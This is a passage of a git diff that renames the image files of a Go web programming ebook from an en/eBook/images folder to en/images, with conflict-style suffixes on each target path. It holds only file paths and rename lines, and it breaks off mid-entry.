b/en/images/1.4.vim.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.vim.png rename to en/images/1.4.vim.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.vim.png b/en/images/1.4.vim.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.vim.png rename to en/images/1.4.vim.png~update the structure for gitbook diff --git a/en/eBook/images/13.1.gopath.png b/en/images/13.1.gopath.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/13.1.gopath.png rename to en/images/13.1.gopath.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/13.1.gopath.png b/en/images/13.1.gopath.png~update the structure for gitbook similarity index 100% rename from en/images/13.1.gopath.png rename to en/images/13.1.gopath.png~update the structure for gitbook diff --git a/en/eBook/images/13.1.gopath2.png b/en/images/13.1.gopath2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/13.1.gopath2.png rename to en/images/13.1.gopath2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/13.1.gopath2.png b/en/images/13.1.gopath2.png~update the structure for gitbook similarity index 100% rename from en/images/13.1.gopath2.png rename to en/images/13.1.gopath2.png~update the structure for gitbook diff --git a/en/eBook/images/13.4.beego.png b/en/images/13.4.beego.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/13.4.beego.png rename to en/images/13.4.beego.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/13.4.beego.png b/en/images/13.4.beego.png~update the structure for gitbook similarity index 100% rename from en/images/13.4.beego.png rename to en/images/13.4.beego.png~update the structure for gitbook diff --git a/en/eBook/images/14.1.bootstrap.png b/en/images/14.1.bootstrap.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.1.bootstrap.png rename to en/images/14.1.bootstrap.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.1.bootstrap.png b/en/images/14.1.bootstrap.png~update the structure for gitbook similarity index 100% rename from en/images/14.1.bootstrap.png rename to en/images/14.1.bootstrap.png~update the structure for gitbook diff --git a/en/eBook/images/14.1.bootstrap2.png b/en/images/14.1.bootstrap2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.1.bootstrap2.png rename to en/images/14.1.bootstrap2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.1.bootstrap2.png b/en/images/14.1.bootstrap2.png~update the structure for gitbook similarity index 100% rename from en/images/14.1.bootstrap2.png rename to en/images/14.1.bootstrap2.png~update the structure for gitbook diff --git a/en/eBook/images/14.1.bootstrap3.png b/en/images/14.1.bootstrap3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.1.bootstrap3.png rename to en/images/14.1.bootstrap3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.1.bootstrap3.png b/en/images/14.1.bootstrap3.png~update the structure for gitbook similarity index 100% rename from en/images/14.1.bootstrap3.png rename to en/images/14.1.bootstrap3.png~update the structure for gitbook diff --git a/en/eBook/images/14.4.github.png b/en/images/14.4.github.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.4.github.png rename to en/images/14.4.github.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.4.github.png b/en/images/14.4.github.png~update the structure for gitbook similarity index 100% rename from en/images/14.4.github.png rename to en/images/14.4.github.png~update the structure for gitbook diff --git a/en/eBook/images/14.4.github2.png b/en/images/14.4.github2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.4.github2.png rename to en/images/14.4.github2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.4.github2.png b/en/images/14.4.github2.png~update the structure for gitbook similarity index 100% rename from en/images/14.4.github2.png rename to en/images/14.4.github2.png~update the structure for gitbook diff --git a/en/eBook/images/14.4.github3.png b/en/images/14.4.github3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.4.github3.png rename to en/images/14.4.github3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.4.github3.png b/en/images/14.4.github3.png~update the structure for gitbook similarity index 100% rename from en/images/14.4.github3.png rename to en/images/14.4.github3.png~update the structure for gitbook diff --git a/en/eBook/images/14.6.pprof.png b/en/images/14.6.pprof.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.6.pprof.png rename to en/images/14.6.pprof.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.6.pprof.png b/en/images/14.6.pprof.png~update the structure for gitbook similarity index 100% rename from en/images/14.6.pprof.png rename to en/images/14.6.pprof.png~update the structure for gitbook diff --git a/en/eBook/images/14.6.pprof2.png b/en/images/14.6.pprof2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.6.pprof2.png rename to en/images/14.6.pprof2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.6.pprof2.png b/en/images/14.6.pprof2.png~update the structure for gitbook similarity index 100% rename from en/images/14.6.pprof2.png rename to en/images/14.6.pprof2.png~update the structure for gitbook diff --git a/en/eBook/images/14.6.pprof3.png b/en/images/14.6.pprof3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/14.6.pprof3.png rename to en/images/14.6.pprof3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/14.6.pprof3.png b/en/images/14.6.pprof3.png~update the structure for gitbook similarity index 100% rename from en/images/14.6.pprof3.png rename to en/images/14.6.pprof3.png~update the structure for gitbook diff --git a/en/eBook/images/2.2.array.png b/en/images/2.2.array.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.2.array.png rename to en/images/2.2.array.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.2.array.png b/en/images/2.2.array.png~update the structure for gitbook similarity index 100% rename from en/images/2.2.array.png rename to en/images/2.2.array.png~update the structure for gitbook diff --git a/en/eBook/images/2.2.basic.png b/en/images/2.2.basic.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.2.basic.png rename to en/images/2.2.basic.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.2.basic.png b/en/images/2.2.basic.png~update the structure for gitbook similarity index 100% rename from en/images/2.2.basic.png rename to en/images/2.2.basic.png~update the structure for gitbook diff --git a/en/eBook/images/2.2.makenew.png b/en/images/2.2.makenew.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.2.makenew.png rename to en/images/2.2.makenew.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.2.makenew.png b/en/images/2.2.makenew.png~update the structure for gitbook similarity index 100% rename from en/images/2.2.makenew.png rename to en/images/2.2.makenew.png~update the structure for gitbook diff --git a/en/eBook/images/2.2.slice.png b/en/images/2.2.slice.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.2.slice.png rename to en/images/2.2.slice.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.2.slice.png b/en/images/2.2.slice.png~update the structure for gitbook similarity index 100% rename from en/images/2.2.slice.png rename to en/images/2.2.slice.png~update the structure for gitbook diff --git a/en/eBook/images/2.2.slice2.png b/en/images/2.2.slice2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.2.slice2.png rename to en/images/2.2.slice2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.2.slice2.png b/en/images/2.2.slice2.png~update the structure for gitbook similarity index 100% rename from en/images/2.2.slice2.png rename to en/images/2.2.slice2.png~update the structure for gitbook diff --git a/en/eBook/images/2.3.init.png b/en/images/2.3.init.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.3.init.png rename to en/images/2.3.init.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.3.init.png b/en/images/2.3.init.png~update the structure for gitbook similarity index 100% rename from en/images/2.3.init.png rename to en/images/2.3.init.png~update the structure for gitbook diff --git a/en/eBook/images/2.4.student_struct.png b/en/images/2.4.student_struct.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.4.student_struct.png rename to en/images/2.4.student_struct.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.4.student_struct.png b/en/images/2.4.student_struct.png~update the structure for gitbook similarity index 100% rename from en/images/2.4.student_struct.png rename to en/images/2.4.student_struct.png~update the structure for gitbook diff --git a/en/eBook/images/2.5.rect_func_without_receiver.png b/en/images/2.5.rect_func_without_receiver.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.5.rect_func_without_receiver.png rename to en/images/2.5.rect_func_without_receiver.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.5.rect_func_without_receiver.png b/en/images/2.5.rect_func_without_receiver.png~update the structure for gitbook similarity index 100% rename from en/images/2.5.rect_func_without_receiver.png rename to en/images/2.5.rect_func_without_receiver.png~update the structure for gitbook diff --git a/en/eBook/images/2.5.shapes_func_with_receiver_cp.png b/en/images/2.5.shapes_func_with_receiver_cp.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.5.shapes_func_with_receiver_cp.png rename to en/images/2.5.shapes_func_with_receiver_cp.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.5.shapes_func_with_receiver_cp.png b/en/images/2.5.shapes_func_with_receiver_cp.png~update the structure for gitbook similarity index 100% rename from en/images/2.5.shapes_func_with_receiver_cp.png rename to en/images/2.5.shapes_func_with_receiver_cp.png~update the structure for gitbook diff --git a/en/eBook/images/2.5.shapes_func_without_receiver.png b/en/images/2.5.shapes_func_without_receiver.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/2.5.shapes_func_without_receiver.png rename to en/images/2.5.shapes_func_without_receiver.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/2.5.shapes_func_without_receiver.png b/en/images/2.5.shapes_func_without_receiver.png~update the structure for gitbook similarity index 100% rename from en/images/2.5.shapes_func_without_receiver.png rename to en/images/2.5.shapes_func_without_receiver.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.dns2.png b/en/images/3.1.dns2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.dns2.png rename to en/images/3.1.dns2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.dns2.png b/en/images/3.1.dns2.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.dns2.png rename to en/images/3.1.dns2.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.dns_hierachy.png b/en/images/3.1.dns_hierachy.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.dns_hierachy.png rename to en/images/3.1.dns_hierachy.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.dns_hierachy.png b/en/images/3.1.dns_hierachy.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.dns_hierachy.png rename to en/images/3.1.dns_hierachy.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.dns_inquery.png b/en/images/3.1.dns_inquery.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.dns_inquery.png rename to en/images/3.1.dns_inquery.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.dns_inquery.png b/en/images/3.1.dns_inquery.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.dns_inquery.png rename to en/images/3.1.dns_inquery.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.http.png b/en/images/3.1.http.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.http.png rename to en/images/3.1.http.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.http.png b/en/images/3.1.http.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.http.png rename to en/images/3.1.http.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.httpPOST.png b/en/images/3.1.httpPOST.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.httpPOST.png rename to en/images/3.1.httpPOST.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.httpPOST.png b/en/images/3.1.httpPOST.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.httpPOST.png rename to en/images/3.1.httpPOST.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.response.png b/en/images/3.1.response.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.response.png rename to en/images/3.1.response.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.response.png b/en/images/3.1.response.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.response.png rename to en/images/3.1.response.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.web.png b/en/images/3.1.web.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.web.png rename to en/images/3.1.web.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.web.png b/en/images/3.1.web.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.web.png rename to en/images/3.1.web.png~update the structure for gitbook diff --git a/en/eBook/images/3.1.web2.png b/en/images/3.1.web2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.1.web2.png rename to en/images/3.1.web2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.1.web2.png b/en/images/3.1.web2.png~update the structure for gitbook similarity index 100% rename from en/images/3.1.web2.png rename to en/images/3.1.web2.png~update the structure for gitbook diff --git a/en/eBook/images/3.2.goweb.png b/en/images/3.2.goweb.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.2.goweb.png rename to en/images/3.2.goweb.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.2.goweb.png b/en/images/3.2.goweb.png~update the structure for gitbook similarity index 100% rename from en/images/3.2.goweb.png rename to en/images/3.2.goweb.png~update the structure for gitbook diff --git a/en/eBook/images/3.3.http.png b/en/images/3.3.http.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.3.http.png rename to en/images/3.3.http.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.3.http.png b/en/images/3.3.http.png~update the structure for gitbook similarity index 100% rename from en/images/3.3.http.png rename to en/images/3.3.http.png~update the structure for gitbook diff --git a/en/eBook/images/3.3.illustrator.png b/en/images/3.3.illustrator.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/3.3.illustrator.png rename to en/images/3.3.illustrator.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/3.3.illustrator.png b/en/images/3.3.illustrator.png~update the structure for gitbook similarity index 100% rename from en/images/3.3.illustrator.png rename to en/images/3.3.illustrator.png~update the structure for gitbook diff --git a/en/eBook/images/4.1.login.png b/en/images/4.1.login.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/4.1.login.png rename to en/images/4.1.login.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/4.1.login.png b/en/images/4.1.login.png~update the structure for gitbook similarity index 100% rename from en/images/4.1.login.png rename to en/images/4.1.login.png~update the structure for gitbook diff --git a/en/eBook/images/4.1.slice.png b/en/images/4.1.slice.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/4.1.slice.png rename to en/images/4.1.slice.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/4.1.slice.png b/en/images/4.1.slice.png~update the structure for gitbook similarity index 100% rename from en/images/4.1.slice.png rename to en/images/4.1.slice.png~update the structure for gitbook diff --git a/en/eBook/images/4.3.escape.png b/en/images/4.3.escape.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/4.3.escape.png rename to en/images/4.3.escape.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/4.3.escape.png b/en/images/4.3.escape.png~update the structure for gitbook similarity index 100% rename from en/images/4.3.escape.png rename to en/images/4.3.escape.png~update the structure for gitbook diff --git a/en/eBook/images/4.4.token.png b/en/images/4.4.token.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/4.4.token.png rename to en/images/4.4.token.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/4.4.token.png b/en/images/4.4.token.png~update the structure for gitbook similarity index 100% rename from en/images/4.4.token.png rename to en/images/4.4.token.png~update the structure for gitbook diff --git a/en/eBook/images/4.5.upload.png b/en/images/4.5.upload.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/4.5.upload.png rename to en/images/4.5.upload.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/4.5.upload.png b/en/images/4.5.upload.png~update the structure for gitbook similarity index 100% rename from en/images/4.5.upload.png rename to en/images/4.5.upload.png~update the structure for gitbook diff --git a/en/eBook/images/4.5.upload2.png b/en/images/4.5.upload2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/4.5.upload2.png rename to en/images/4.5.upload2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/4.5.upload2.png b/en/images/4.5.upload2.png~update the structure for gitbook similarity index 100% rename from en/images/4.5.upload2.png rename to en/images/4.5.upload2.png~update the structure for gitbook diff --git a/en/eBook/images/5.6.mongodb.png b/en/images/5.6.mongodb.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/5.6.mongodb.png rename to en/images/5.6.mongodb.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/5.6.mongodb.png b/en/images/5.6.mongodb.png~update the structure for gitbook similarity index 100% rename from en/images/5.6.mongodb.png rename to en/images/5.6.mongodb.png~update the structure for gitbook diff --git a/en/eBook/images/6.1.cookie.png b/en/images/6.1.cookie.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.1.cookie.png rename to en/images/6.1.cookie.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.1.cookie.png b/en/images/6.1.cookie.png~update the structure for gitbook similarity index 100% rename from en/images/6.1.cookie.png rename to en/images/6.1.cookie.png~update the structure for gitbook diff --git a/en/eBook/images/6.1.cookie2.png b/en/images/6.1.cookie2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.1.cookie2.png rename to en/images/6.1.cookie2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.1.cookie2.png b/en/images/6.1.cookie2.png~update the structure for gitbook similarity index 100% rename from en/images/6.1.cookie2.png rename to en/images/6.1.cookie2.png~update the structure for gitbook diff --git a/en/eBook/images/6.1.session.png b/en/images/6.1.session.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.1.session.png rename to en/images/6.1.session.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.1.session.png b/en/images/6.1.session.png~update the structure for gitbook similarity index 100% rename from en/images/6.1.session.png rename to en/images/6.1.session.png~update the structure for gitbook diff --git a/en/eBook/images/6.4.cookie.png b/en/images/6.4.cookie.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.4.cookie.png rename to en/images/6.4.cookie.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.4.cookie.png b/en/images/6.4.cookie.png~update the structure for gitbook similarity index 100% rename from en/images/6.4.cookie.png rename to en/images/6.4.cookie.png~update the structure for gitbook diff --git a/en/eBook/images/6.4.hijack.png b/en/images/6.4.hijack.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.4.hijack.png rename to en/images/6.4.hijack.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.4.hijack.png b/en/images/6.4.hijack.png~update the structure for gitbook similarity index 100% rename from en/images/6.4.hijack.png rename to en/images/6.4.hijack.png~update the structure for gitbook diff --git a/en/eBook/images/6.4.hijacksuccess.png b/en/images/6.4.hijacksuccess.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.4.hijacksuccess.png rename to en/images/6.4.hijacksuccess.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.4.hijacksuccess.png b/en/images/6.4.hijacksuccess.png~update the structure for gitbook similarity index 100% rename from en/images/6.4.hijacksuccess.png rename to en/images/6.4.hijacksuccess.png~update the structure for gitbook diff --git a/en/eBook/images/6.4.setcookie.png b/en/images/6.4.setcookie.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/6.4.setcookie.png rename to en/images/6.4.setcookie.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/6.4.setcookie.png b/en/images/6.4.setcookie.png~update the structure for gitbook similarity index 100% rename from en/images/6.4.setcookie.png rename to en/images/6.4.setcookie.png~update the structure for gitbook diff --git a/en/eBook/images/7.4.template.png b/en/images/7.4.template.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/7.4.template.png rename to en/images/7.4.template.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/7.4.template.png b/en/images/7.4.template.png~update the structure for gitbook similarity index 100% rename from en/images/7.4.template.png rename to en/images/7.4.template.png~update the structure for gitbook diff --git a/en/eBook/images/8.1.socket.png b/en/images/8.1.socket.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.1.socket.png rename to en/images/8.1.socket.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.1.socket.png b/en/images/8.1.socket.png~update the structure for gitbook similarity index 100% rename from en/images/8.1.socket.png rename to en/images/8.1.socket.png~update the structure for gitbook diff --git a/en/eBook/images/8.2.websocket.png b/en/images/8.2.websocket.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.2.websocket.png rename to en/images/8.2.websocket.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.2.websocket.png b/en/images/8.2.websocket.png~update the structure for gitbook similarity index 100% rename from en/images/8.2.websocket.png rename to en/images/8.2.websocket.png~update the structure for gitbook diff --git a/en/eBook/images/8.2.websocket2.png b/en/images/8.2.websocket2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.2.websocket2.png rename to en/images/8.2.websocket2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.2.websocket2.png b/en/images/8.2.websocket2.png~update the structure for gitbook similarity index 100% rename from en/images/8.2.websocket2.png rename to en/images/8.2.websocket2.png~update the structure for gitbook diff --git a/en/eBook/images/8.2.websocket3.png b/en/images/8.2.websocket3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.2.websocket3.png rename to en/images/8.2.websocket3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.2.websocket3.png b/en/images/8.2.websocket3.png~update the structure for gitbook similarity index 100% rename from en/images/8.2.websocket3.png rename to en/images/8.2.websocket3.png~update the structure for gitbook diff --git a/en/eBook/images/8.3.rest.png b/en/images/8.3.rest.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.3.rest.png rename to en/images/8.3.rest.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.3.rest.png b/en/images/8.3.rest.png~update the structure for gitbook similarity index 100% rename from en/images/8.3.rest.png rename to en/images/8.3.rest.png~update the structure for gitbook diff --git a/en/eBook/images/8.3.rest2.png b/en/images/8.3.rest2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.3.rest2.png rename to en/images/8.3.rest2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.3.rest2.png b/en/images/8.3.rest2.png~update the structure for gitbook similarity index 100% rename from en/images/8.3.rest2.png rename to en/images/8.3.rest2.png~update the structure for gitbook diff --git a/en/eBook/images/8.3.rest3.png b/en/images/8.3.rest3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.3.rest3.png rename to en/images/8.3.rest3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.3.rest3.png b/en/images/8.3.rest3.png~update the structure for gitbook similarity index 100% rename from en/images/8.3.rest3.png rename to en/images/8.3.rest3.png~update the structure for gitbook diff --git a/en/eBook/images/8.4.rpc.png b/en/images/8.4.rpc.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/8.4.rpc.png rename to en/images/8.4.rpc.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/8.4.rpc.png b/en/images/8.4.rpc.png~update the structure for gitbook similarity index 100% rename from en/images/8.4.rpc.png rename to en/images/8.4.rpc.png~update the structure for gitbook diff --git a/en/eBook/images/9.1.csrf.png b/en/images/9.1.csrf.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/9.1.csrf.png rename to en/images/9.1.csrf.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/9.1.csrf.png b/en/images/9.1.csrf.png~update the structure for gitbook similarity index 100% rename from en/images/9.1.csrf.png rename to en/images/9.1.csrf.png~update the structure for gitbook diff --git a/en/eBook/images/cover.png b/en/images/cover.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/cover.png rename to en/images/cover.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/cover.png b/en/images/cover.png~update the structure for gitbook similarity index 100% rename from en/images/cover.png rename to en/images/cover.png~update the structure for gitbook diff --git a/en/eBook/images/ebook.jpg b/en/images/ebook.jpg~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/ebook.jpg rename to en/images/ebook.jpg~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/ebook.jpg b/en/images/ebook.jpg~update the structure for gitbook similarity index 100% rename from en/images/ebook.jpg rename to en/images/ebook.jpg~update the structure for gitbook diff --git a/en/eBook/images/navi1.png b/en/images/navi1.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi1.png rename to en/images/navi1.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi1.png b/en/images/navi1.png~update the structure for gitbook similarity index 100% rename from en/images/navi1.png rename to en/images/navi1.png~update the structure for gitbook diff --git a/en/eBook/images/navi10.png b/en/images/navi10.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi10.png rename to en/images/navi10.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi10.png b/en/images/navi10.png~update the structure for gitbook similarity index 100% rename from en/images/navi10.png rename to en/images/navi10.png~update the structure for gitbook diff --git a/en/eBook/images/navi11.png b/en/images/navi11.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi11.png rename to en/images/navi11.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi11.png b/en/images/navi11.png~update the structure for gitbook similarity index 100% rename from en/images/navi11.png rename to en/images/navi11.png~update the structure for gitbook diff --git a/en/eBook/images/navi12.png b/en/images/navi12.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi12.png rename to en/images/navi12.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi12.png b/en/images/navi12.png~update the structure for gitbook similarity index 100% rename from en/images/navi12.png rename to en/images/navi12.png~update the structure for gitbook diff --git a/en/eBook/images/navi13.png b/en/images/navi13.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi13.png rename to en/images/navi13.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi13.png b/en/images/navi13.png~update the structure for gitbook similarity index 100% rename from en/images/navi13.png rename to en/images/navi13.png~update the structure for gitbook diff --git a/en/eBook/images/navi14.png b/en/images/navi14.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi14.png rename to en/images/navi14.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi14.png b/en/images/navi14.png~update the structure for gitbook similarity index 100% rename from en/images/navi14.png rename to en/images/navi14.png~update the structure for gitbook diff --git a/en/eBook/images/navi2.png b/en/images/navi2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi2.png rename to en/images/navi2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi2.png b/en/images/navi2.png~update the structure for gitbook similarity index 100% rename from en/images/navi2.png rename to en/images/navi2.png~update the structure for gitbook diff --git a/en/eBook/images/navi3.png b/en/images/navi3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi3.png rename to en/images/navi3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi3.png b/en/images/navi3.png~update the structure for gitbook similarity index 100% rename from en/images/navi3.png rename to en/images/navi3.png~update the structure for gitbook diff --git a/en/eBook/images/navi4.png b/en/images/navi4.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi4.png rename to en/images/navi4.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi4.png b/en/images/navi4.png~update the structure for gitbook similarity index 100% rename from en/images/navi4.png rename to en/images/navi4.png~update the structure for gitbook diff --git a/en/eBook/images/navi5.png b/en/images/navi5.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi5.png rename to en/images/navi5.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi5.png b/en/images/navi5.png~update the 